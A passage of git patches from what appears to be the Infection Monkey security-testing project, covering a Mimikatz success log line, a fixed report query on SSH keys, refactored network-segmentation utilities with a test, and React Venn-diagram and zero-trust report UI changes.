    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onClick={this._onClick.bind(this)} > {nodes} From 97b0568c35398b3557f1ddb45cba838aa216cd35 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 23 Aug 2019 16:08:53 +0300 Subject: [PATCH 141/276] Added success log message in mimikatz and fixed private keys attack query --- monkey/infection_monkey/system_info/windows_info_collector.py | 1 + .../monkey_island/cc/services/attack/technique_reports/T1145.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 7c3739a0f..b8a102831 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector): if "credentials" in self.info: self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() + LOG.info('Mimikatz info gathered successfully') else: LOG.info('No mimikatz info was gathered') diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 89ac44117..c4e5691ff 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -12,7 +12,7 @@ class T1145(AttackTechnique): used_msg = "Monkey found ssh keys on machines in the network." # Gets data about ssh keys found - query = [{'$match': {'telem_category': 'system_info_collection', + query = [{'$match': {'telem_category': 'system_info', 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}}, {'$project': {'_id': 0, 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, From fb01bface6b6341a2c7a327cca9dcd4634a149d6 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 25 Aug 2019 10:30:17 +0300 Subject: [PATCH 142/276] Extracted config utility function to new package - in future all config should move here --- monkey/monkey_island/cc/services/configuration/__init__.py | 0 monkey/monkey_island/cc/services/configuration/utils.py | 5 +++++ monkey/monkey_island/cc/services/reporting/report.py | 3 ++- 3 files changed, 7 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/services/configuration/__init__.py create mode 100644 monkey/monkey_island/cc/services/configuration/utils.py diff --git a/monkey/monkey_island/cc/services/configuration/__init__.py b/monkey/monkey_island/cc/services/configuration/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py new file mode 100644 index 000000000..34d6a9bb5 --- /dev/null +++ b/monkey/monkey_island/cc/services/configuration/utils.py @@ -0,0 +1,5 @@ +from monkey_island.cc.services.config import ConfigService + + +def get_config_network_segments_as_subnet_groups(): + return [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 1d7ac162d..af3d2673b 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -13,6 +13,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.utils import local_ip_addresses, get_subnets @@ -552,7 +553,7 @@ class ReportService: cross_segment_issues = [] # For now the feature is limited to 1 group. - subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] + subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) From 6ec4e613cf32e8200c94d3b67b1e50d02fe3601d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 25 Aug 2019 11:31:31 +0300 Subject: [PATCH 143/276] Extracted segmentation utils function --- monkey/common/network/segmentation_utils.py | 19 +++++++++++++++ .../common/network/segmentation_utils_test.py | 19 +++++++++++++++ .../cc/services/reporting/report.py | 24 ++++--------------- 3 files changed, 42 insertions(+), 20 deletions(-) create mode 100644 monkey/common/network/segmentation_utils.py create mode 100644 monkey/common/network/segmentation_utils_test.py diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py new file mode 100644 index 000000000..68122f398 --- /dev/null +++ b/monkey/common/network/segmentation_utils.py @@ -0,0 +1,19 @@ +from common.network.network_range import NetworkRange + + +def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): + # type: (List[str], NetworkRange, NetworkRange) -> Union[str, None] + """ + Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. + :param ip_addresses: List of IP addresses to test. + :param source_subnet: Subnet to want an IP to not be in. + :param target_subnet: Subnet we want an IP to be in. + :return: The cross segment IP if in source but not in target, else None. + """ + for ip_address in ip_addresses: + if target_subnet.is_in_range(ip_address): + return None + for ip_address in ip_addresses: + if source_subnet.is_in_range(ip_address): + return ip_address + return None diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py new file mode 100644 index 000000000..7ef3e4450 --- /dev/null +++ b/monkey/common/network/segmentation_utils_test.py @@ -0,0 +1,19 @@ +from common.network.network_range import * +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestSegmentationUtils(IslandTestCase): + def test_get_ip_in_src_and_not_in_dst(self): + self.fail_if_not_testing_env() + source = CidrRange("1.1.1.0/24") + target = CidrRange("2.2.2.0/24") + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("2.2.2.2")], source, target + )) + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target + )) + self.assertIsNotNone(get_ip_in_src_and_not_in_dst( + [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target + )) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index af3d2673b..fdba3b549 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -9,6 +9,7 @@ from enum import Enum from six import text_type +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.report_exporter_manager import ReportExporterManager @@ -424,23 +425,6 @@ class ReportService: return issues - @staticmethod - def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): - """ - Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. - :param ip_addresses: List of IP addresses to test. - :param source_subnet: Subnet to want an IP to not be in. - :param target_subnet: Subnet we want an IP to be in. - :return: - """ - for ip_address in ip_addresses: - if target_subnet.is_in_range(ip_address): - return None - for ip_address in ip_addresses: - if source_subnet.is_in_range(ip_address): - return ip_address - return None - @staticmethod def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range): """ @@ -503,9 +487,9 @@ class ReportService: target_ip = scan['data']['machine']['ip_addr'] if target_subnet_range.is_in_range(text_type(target_ip)): monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) - cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], - source_subnet_range, - target_subnet_range) + cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], + source_subnet_range, + target_subnet_range) if cross_segment_ip is not None: cross_segment_issues.append( From 5c4797108ea2cb36540eacad651fdba98271233b Mon Sep 17 00:00:00 2001 From: vkuchinov Date: Sun, 25 Aug 2019 13:05:56 +0300 Subject: [PATCH 144/276] Rules update The rules are now set at this.rules array. While some of them have two conditions, i.e. Rule #2 shoud check if Conclusive is 0 and Inconclusive > 0, all rules has its own function (formula), which returns true or false. Eventually, I could shorten variable naming, for example, d_['Conclusive'] to something more prompt, but keeping this helps understand formulas even without referencing to upper comments. --- .../zerotrust/VennDiagram/index.js | 53 ++++++++++++++----- 1 file changed, 41 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js index de28fc012..6a0b41356 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js @@ -201,6 +201,34 @@ class VennDiagram extends React.Component{ }; + /* + + RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer + sum(C, I, P, U) has to be <=0 + + RULE #2: Conclusive [C] has to be > 0, + sum(C) > 0 + + RULE #3: Inconclusive [I] has to be > 0 while Conclusive has to be 0, + sum(C, I) > 0 and C * I = 0, while C has to be 0 + + RULE #4: Positive [P] and Unexecuted have to be positive + sum(P, U) >= 2 and P * U = positive integer, while + if the P is bigger by 2 then negative U, first conditional + would be true. + + */ + + this.rules = [ + + { id: 'Rule #1', f: function(d_){ return d_['Conclusive'] + d_['Inconclusive'] + d_['Positive'] + d_['Unexecuted'] <= 0; } }, + { id: 'Rule #2', f: function(d_){ return d_['Conclusive'] > 0; } }, + { id: 'Rule #3', f: function(d_){ return d_['Conclusive'] === 0 && d_['Inconclusive'] > 0; } }, + { id: 'Rule #4', f: function(d_){ return d_['Positive'] + d_['Unexecuted'] >= 2 && d_['Positive'] * d_['Unexecuted'] > 0; } } + + ]; + + this._onScroll = this._onScroll.bind(this); } @@ -213,7 +241,7 @@ class VennDiagram extends React.Component{ } _onMouseMove(e) { - + let self = this; if(!this.toggle){ @@ -247,11 +275,12 @@ class VennDiagram extends React.Component{ } } + _onScroll(e){ - this.divElement.style.cursor = 'default'; - this.setState({target: e, tooltip: { target: null, bcolor: 'none', top: 0, left: 0, display: 'none', html: '' } }); - + this.divElement.style.cursor = 'default'; + this.setState({target: null, tooltip: { target: null, bcolor: 'none', top: 0, left: 0, display: 'none', html: '' } }); + } _onClick(e) { @@ -277,19 +306,17 @@ class VennDiagram extends React.Component{ let self = this; let data = []; const omit = (prop, { [prop]: _, ...rest }) => rest; - + this.props.pillarsGrades.forEach((d_, i_) => { - let params = omit('Unexpected', omit('pillar', d_)); + let params = omit('pillar', d_); let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_]||0), 0); let key = TypographicUtilities.removeAmpersand(d_.pillar); let html = self.buildTooltipHtmlContent(d_); - let rule = 3; + let rule = null; - if(sum === 0){ rule = 0 } - else if(d_['Conclusive'] > 0){ rule = 1 } - else if(d_['Conclusive'] === 0 && d_['Inconclusive'] > 0) { rule = 2 } - + for(let j = 0; j < self.rules.length; j++){ if(self.rules[j].f(d_)) { rule = j; break; }} + self.setLayoutElement(rule, key, html, d_); data.push(this.layout[key]) @@ -304,6 +331,8 @@ class VennDiagram extends React.Component{ setLayoutElement(rule_, key_, html_, d_){ + if(rule_ == null) { throw Error('The node scores are invalid'); } + if(key_ === 'Data'){ this.layout[key_].fontStyle = this.fontStyles[0]; } else {this.layout[key_].fontStyle = this.fontStyles[1]; } @@ -361,7 +390,7 @@ class VennDiagram extends React.Component{ return ( -
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onClick={this._onClick.bind(this)} > +
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onClick={this._onClick.bind(this)} > {nodes} From 51b689366ad60ca956228e5cf2477a7e7e3776c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 15:47:24 +0300 Subject: [PATCH 145/276] Current section not changed on import --- .../cc/ui/src/components/pages/ConfigurePage.js | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index ad4df667d..43dac797c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent { this.setState({PBAlinuxFile: [], PBAwinFile: []}); } - onReadFile = (event) => { + setConfigOnImport = (event) => { try { this.setState({ configuration: JSON.parse(event.target.result), lastAction: 'import_success' }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))}); - this.currentSection = 'basic'; this.currentFormData = {}; } catch(SyntaxError) { this.setState({lastAction: 'import_failure'}); @@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent { importConfig = (event) => { let reader = new FileReader(); - reader.onload = this.onReadFile; + reader.onload = this.setConfigOnImport; reader.readAsText(event.target.files[0]); event.target.value = null; }; @@ -494,7 +493,6 @@ class ConfigurePageComponent extends AuthComponent { } else if(this.state.selectedSection !== 'attack') { content = this.renderConfigContent(displayedSchema) } - return ( {this.renderAttackAlertModal()} From b9cb6551146f6981f77662295bac026532b70bf7 Mon Sep 17 00:00:00 2001 From: vkuchinov Date: Sun, 25 Aug 2019 17:32:21 +0300 Subject: [PATCH 146/276] Fixes Fixes for issues posted by Shay at VennDiagram component #412 [x] ResponsiveVennDiagram.js, VennDiagram.js [x] VennDiagram.css (rename) [x] ArcNode, CicularNode, Tooltip as .js and other minor issues --- .../components/pages/ZeroTrustReportPage.js | 203 ++++++++++-------- .../zerotrust/VennDiagram/ArcNode/index.js | 46 ---- .../zerotrust/venn-components/.DS_Store | Bin 0 -> 8196 bytes .../zerotrust/venn-components/ArcNode.js | 44 ++++ .../CircularNode.js} | 27 ++- .../venn-components/ResponsiveVennDiagram.js | 36 ++++ .../index.js => venn-components/Tooltip.js} | 0 .../utility.js => venn-components/Utility.js} | 0 .../VennDiagram.css} | 0 .../VennDiagram.js} | 184 +--------------- 10 files changed, 210 insertions(+), 330 deletions(-) mode change 100644 => 100755 monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/ArcNode/index.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{VennDiagram/CircularNode/index.js => venn-components/CircularNode.js} (61%) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{VennDiagram/Tooltip/index.js => venn-components/Tooltip.js} (100%) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{VennDiagram/utility.js => venn-components/Utility.js} (100%) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{VennDiagram/index.css => venn-components/VennDiagram.css} (100%) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{VennDiagram/index.js => venn-components/VennDiagram.js} (57%) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js old mode 100644 new mode 100755 index 2fe43c42e..e80af2366 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,17 +1,64 @@ -import React, {Fragment} from 'react'; -import {Col, Grid, Row} from 'react-bootstrap'; +import React from 'react'; +import {Button, Col} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; -import PillarsOverview from "../report-components/zerotrust/PillarOverview"; +import PillarGrades from "../report-components/zerotrust/PillarGrades"; +import PillarLabel from "../report-components/zerotrust/PillarLabel"; +import ResponsiveVennDiagram from "../report-components/zerotrust/venn-components/ResponsiveVennDiagram"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; -import SinglePillarDirectivesStatus from "../report-components/zerotrust/SinglePillarDirectivesStatus"; -import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; -import ReportLoader from "../report-components/common/ReportLoader"; -import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; -import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance"; -import StatusesToPillarsSummary from "../report-components/zerotrust/StatusesToPillarsSummary"; -import PrintReportButton from "../report-components/common/PrintReportButton"; -import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; +import {SinglePillarRecommendationsStatus} from "../report-components/zerotrust/SinglePillarRecommendationsStatus"; + +let mockup = [ + { + "Conclusive": 4, + "Inconclusive": 0, + "Positive": 1, + "Unexecuted": 2, + "pillar": "Data" + }, + { + "Conclusive": 0, + "Inconclusive": 5, + "Positive": 0, + "Unexecuted": 2, + "pillar": "People" + }, + { + "Conclusive": 0, + "Inconclusive": 0, + "Positive": 6, + "Unexecuted": 3, + "pillar": "Networks" + }, + { + "Conclusive": 2, + "Inconclusive": 0, + "Positive": 1, + "Unexecuted": 1, + "pillar": "Devices" + }, + { + "Conclusive": 0, + "Inconclusive": 0, + "Positive": 0, + "Unexecuted": 0, + "pillar": "Workloads" + }, + { + "Conclusive": 0, + "Inconclusive": 2, + "Positive": 0, + "Unexecuted": 0, + "pillar": "Visibility & Analytics" + }, + { + "Conclusive": 0, + "Inconclusive": 0, + "Positive": 0, + "Unexecuted": 0, + "pillar": "Automation & Orchestration" + } +]; class ZeroTrustReportPageComponent extends AuthComponent { @@ -20,30 +67,16 @@ class ZeroTrustReportPageComponent extends AuthComponent { this.state = { allMonkeysAreDead: false, - runStarted: true + runStarted: false }; } - componentDidMount() { - this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res)); - } - - updateMonkeysRunning = () => { - return this.authFetch('/api') - .then(res => res.json()) - .then(res => { - this.setState(extractExecutionStatusFromServerResponse(res)); - return res; - }); - }; - render() { - let content; - if (this.state.runStarted) { - content = this.generateReportContent(); - } else { - content = ; - } + let res; + // Todo move to componentDidMount + this.getZeroTrustReportFromServer(res); + + const content = this.generateReportContent(); return ( @@ -59,75 +92,63 @@ class ZeroTrustReportPageComponent extends AuthComponent { let content; if (this.stillLoadingDataFromServer()) { - content = ; + content = "Still empty"; } else { - content =
    - {this.generateOverviewSection()} - {this.generateDirectivesSection()} - {this.generateFindingsSection()} + const pillarsSection =
    +

    Pillars Overview

    + +
    ; + + const recommendationsSection =

    Recommendations Status

    + { + this.state.recommendations.map((recommendation) => + + ) + } +
    ; + + const findingSection =

    Findings

    +
    ; + + content =
    + {pillarsSection} + {recommendationsSection} + {findingSection}
    ; } return ( - -
    - {print();}} /> +
    +
    +

    {content} +
    +
    {JSON.stringify(this.state.pillars, undefined, 2)}
    +
    + +
    {JSON.stringify(this.state.recommendations, undefined, 2)}
    +
    +
    {JSON.stringify(this.state.findings, undefined, 2)}
    -
    - {print();}} /> -
    - +
    ) } - generateFindingsSection() { - return (
    -

    Findings

    - -
    ); - } - - generateDirectivesSection() { - return (
    -

    Directives

    - { - Object.keys(this.state.directives).map((pillar) => - - ) - } -
    ); - } - - generateOverviewSection() { - return (
    -

    Overview

    - - - - - - - - - - - - -
    ); - } - stillLoadingDataFromServer() { - return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.directives === "undefined"; + return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined"; + } + + print() { + alert("unimplemented"); } getZeroTrustReportFromServer() { @@ -139,11 +160,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { findings: res }); }); - this.authFetch('/api/report/zero_trust/directives') + this.authFetch('/api/report/zero_trust/recommendations') .then(res => res.json()) .then(res => { this.setState({ - directives: res + recommendations: res }); }); this.authFetch('/api/report/zero_trust/pillars') @@ -154,14 +175,6 @@ class ZeroTrustReportPageComponent extends AuthComponent { }); }); } - - anyIssuesFound() { - const severe = function(finding) { - return (finding.status === "Conclusive" || finding.status === "Inconclusive"); - }; - - return this.state.findings.some(severe); - } } export default ZeroTrustReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/ArcNode/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/ArcNode/index.js deleted file mode 100644 index b9861a55e..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/ArcNode/index.js +++ /dev/null @@ -1,46 +0,0 @@ -import React from 'react' -import PropTypes from 'prop-types'; -import * as d3 from 'd3' - -class ArcNode extends React.Component{ - - render() { - - let {prefix, ref, index, data} = this.props;; - - let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0); - - return ( - - - - - - {data.label} - - - - - ) - - } - -} - -ArcNode.propTypes = { - - prefix: PropTypes.string, - index: PropTypes.number, - data: PropTypes.object - -} - -export default ArcNode; \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..344923cf9c56b32713b678e0b337a23ff212fa20 GIT binary patch literal 8196 zcmeHMT}&KR6h3F6<<5+h0V@S;%NlBhbc-x#!M3E!0<~0{R(JU;2;F6-Fgnc8o!O<7 zVu(#NCdL{yG4bcc#wUsPMHB6dFUH2G@rR@uV|>sTAB{#6pFH>8ffOhY`k*$QOYS{) z?m1`fIp6(e?%n|aFqt>v0963MsB)=m)ZCzOJ+JFZBp4|siR2I9g9X#s8E-mkud@yZ zLIgqtLIgqtLIgqt{tpPyp3Mu}VBeS8uniFi5x6B0;O~bhRW1{OT#!<{I;asx0FwL& zAPV*A93Xt6flLH)K}z9D_mrmx3|uidVxV*1n4SEh z!W=LmW!Q!Ygb1uhfImJZkOr6j?Ca0(Zk9BkWT$P*^P8HkVWg;d)8-P!RHl}ykESNw znUtUL^IkHO8|GIhGX7*X=%-!RUg>AD{gyd1rf=KP%>_ zjcV$ML9rZj4L*yZzsnS%*%j5aVXo=SnbaDLiQ)PNO-*||5jxaXFwH=0G8g+?!x#|K1r7qDFkbproG}1t3@ZF~nWbNm{YWPFij z(jE)q4FrBqos!iLCy|yut_jkP-jKB2ht(th5oy0Il}z1wM`i7YJqYezjF0BJ0IcyI(!Xh_Cu)sXe52DEv{=L0<3H6ovf* z4qk#qxB?%;r^LN$@B{n=zrdduL53BAciV9X)?z(2;2w-&Ber52G4KGk<6(Rdd+;c+ zun+rj5QlJ>SZE3sK87CpSil)#JidKsh* + + + + {data.label} + + + + + ) + + } + +} + +ArcNode.propTypes = { + + data: PropTypes.object + +} + +export default ArcNode; \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/CircularNode/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js similarity index 61% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/CircularNode/index.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js index a8caf5bb0..8d8df10bf 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/CircularNode/index.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js @@ -5,7 +5,7 @@ class CircularNode extends React.Component{ render() { - let {prefix, ref, index, data} = this.props; + let {prefix, index, data} = this.props; let tspans = data.label.split("|").map((d_, i_) =>{ @@ -21,23 +21,23 @@ class CircularNode extends React.Component{ }) let translate = 'translate(' + data.cx + ',' + data.cy + ')'; - + return ( - - - {tspans} - + /> + + {tspans} + ) @@ -48,7 +48,6 @@ class CircularNode extends React.Component{ CircularNode.propTypes = { - prefix: PropTypes.string, index: PropTypes.number, data: PropTypes.object diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js new file mode 100644 index 000000000..d20abf94a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js @@ -0,0 +1,36 @@ +import React from 'react' +import PropTypes from 'prop-types' +import Dimensions from 'react-dimensions' +import VennDiagram from './VennDiagram' + +const VENN_MIN_WIDTH = '300px'; + +class ResponsiveVennDiagram extends React.Component { + + constructor(props) { super(props); } + + render() { + + const {pillarsGrades} = this.props; + let childrenWidth = this.props.containerWidth, childrenHeight = this.props.containerHeight; + + if(childrenHeight === 0 || isNaN(childrenHeight)){ childrenHeight = childrenWidth; } + else{ childrenWidth = Math.min(childrenWidth, childrenHeight) } + + return ( + +
    + +
    ) + + } + +} + +ResponsiveVennDiagram.propTypes = { + + pillarsGrades: PropTypes.array + +} + +export default Dimensions()(ResponsiveVennDiagram); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/Tooltip/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/Tooltip/index.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Tooltip.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/utility.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/utility.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.css b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.css rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js similarity index 57% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index 6a0b41356..0f154cdfe 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -1,169 +1,10 @@ import React from 'react' -import PropTypes from 'prop-types'; -import Dimensions from 'react-dimensions' +import PropTypes from 'prop-types' import Tooltip from './Tooltip' import CircularNode from './CircularNode' import ArcNode from './ArcNode' -import { TypographicUtilities } from './utility.js' -import './index.css' - -/* - -TODO LIST - -UPDATED [21.08.2019] - -[-] SVG > ViewBox 0 0 512 512, so it would be responsive and scalable -[-] Add resize listener to ResponsiveVennDiagram wrapper -[-] I have noticed that you have PillarGrades at ZeroTrustReportPage, so how I can fetch the data out of it? - -UPDATED [20.08.2019] - -[x] I've seen that lots of D3 responsive examples are using 'wrapper' around the main component to - get parent container dimensions. And lister for resize. - - So, here it's Responsive(VennDiagram) - - If it doesn't work, I have another alternative: - - import React, { useRef, useEffect, useState, useLayoutEffect } from 'react' - - const ResponsiveVennDiagram = props => { - - const minWidth = 256; - const targetRef = useRef(); - const [dimensions, setDimensions] = useState({ width: 0, heigth: 0 }); - let movement_timer = null; - const RESET_TIMEOUT = 100; - - const checkForDimensionsUpdate = () => { - - if (targetRef.current) { - - setDimensions({ - - width: Math.min(targetRef.current.offsetWidth, targetRef.current.offsetHeight), - height: targetRef.current.offsetHeight - - }); - - } - }; - - useLayoutEffect(() => { checkForDimensionsUpdate(); }, []); - - window.addEventListener('resize', () => { clearInterval(movement_timer); movement_timer = setTimeout(checkForDimensionsUpdate, RESET_TIMEOUT); }); - - return ( - -
    - -
    - - ); - - }; - - ResponsiveVennDiagram.propTypes = { - - pillarsGrades: PropTypes.array - - } - - export default ResponsiveVennDiagram; - - While your diagram laout is squared, the VennDiaagram gets the min(width, height) - -[x] Colours have been updated. - -[x] String prototypes have been moved to '.utilities.js' - -[x] I have use the prefix 'vennDiagram' for all children elements to prevent naming conflicts with other components - DOM objects. - -[x] I have used PropTypes already a year ago on ThreeJS/ReactJS stack project. - -[!] External callback is still on my list, can you make a mockup for external function which have to get pillar variable? - -[!] Z-indices sorting on mouseover - Would be n my 21.08.2019 TODO list. With D3.JS it's an easy task, however would try do - make these z-soring without D3 framework. - -UPDATED [20.08.2019] - -[!] By now, there are three input props for VennDiagram component: - data, width and height. - -[-] Since layout has to be hardcoded, it's driven by this.layout object. - There're many ways of setting circles/arc positions, now I'm using the - stright-forward one. - - Usually, I am put all hardcoded params to external JSON file, i.e config.json. - Let me know if it's a good idea. - -[-] Could rearange z-indecies for nodes on hover, so highlighted node would have highest z-index. -[-] If you want callback on click even, please provide additional info what are you expecting to pass - through this. - -[!] I don't used to make lots of comments in my code, but treying to name everything in a way, - so third person could instantly get its job and concept. - - If it is not enoough just let me know. - -[!] I have tried to avoid using D3 so much, especially its mouse events, cause it creates a bunch - of listeners for every children DOM elements. I have tried to use raw SVG objects. - The ArcNode is the only component where I've to call d3.arc constrictor. - -[!] There are lots of discussion over 